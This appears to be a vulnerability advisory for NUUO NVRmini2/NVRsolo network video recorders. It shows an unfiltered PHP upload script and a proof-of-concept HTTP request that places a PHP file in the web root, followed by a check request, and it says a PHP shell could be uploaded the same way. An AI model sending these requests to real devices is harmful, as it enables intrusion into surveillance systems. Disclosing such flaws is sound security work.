NUUO NVRmini2 / NVRsolo Shell Upload

`NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability  
  
==========================  
Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability  
Author: M3@pandas From DBAppSecurity  
Affected Version: All  
==========================   
Vulnerability Description  
==========================  
  
Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world.   
  
Vulnerable cgi: /upload.php  
  
<?php   
//echo $_FILES['userfile']['type'];  
//echo ":";  
//echo $_FILES['userfile']['size'];  
//echo ":";  
//echo urldecode($_FILES['userfile']['name']);  
//echo ":";  
//echo $_FILES['userfile']['tmp_name'];  
//echo ":";  
//echo $_FILES['userfile']['error'];  
//echo ":";  
echo $_FILES['userfile']['name'];  
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);  
?>  
  
  
As the code above, no any filter, so we can upload a php shell directly to the web server.  
  
==========================  
POC && EXP  
==========================  
  
1. Upload 'nuuonvr.php' to web root path:  
  
POST /upload.php HTTP/1.1  
Host: 192.168.10.1  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)  
Connection: close  
Content-Type: multipart/form-data; boundary=--------969849961  
Content-Length: 162  
  
----------969849961  
Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"  
  
<?php phpinfo();@unlink(__FILE__);?>  
----------969849961--  
  
2. Check if the php file is uploaded successfully:  
  
GET http://192.168.10.1/nuuonvr.php   
  
If the page returns phpinfo info, target is vulnerable! Just enjoy it!  
  
  
  
`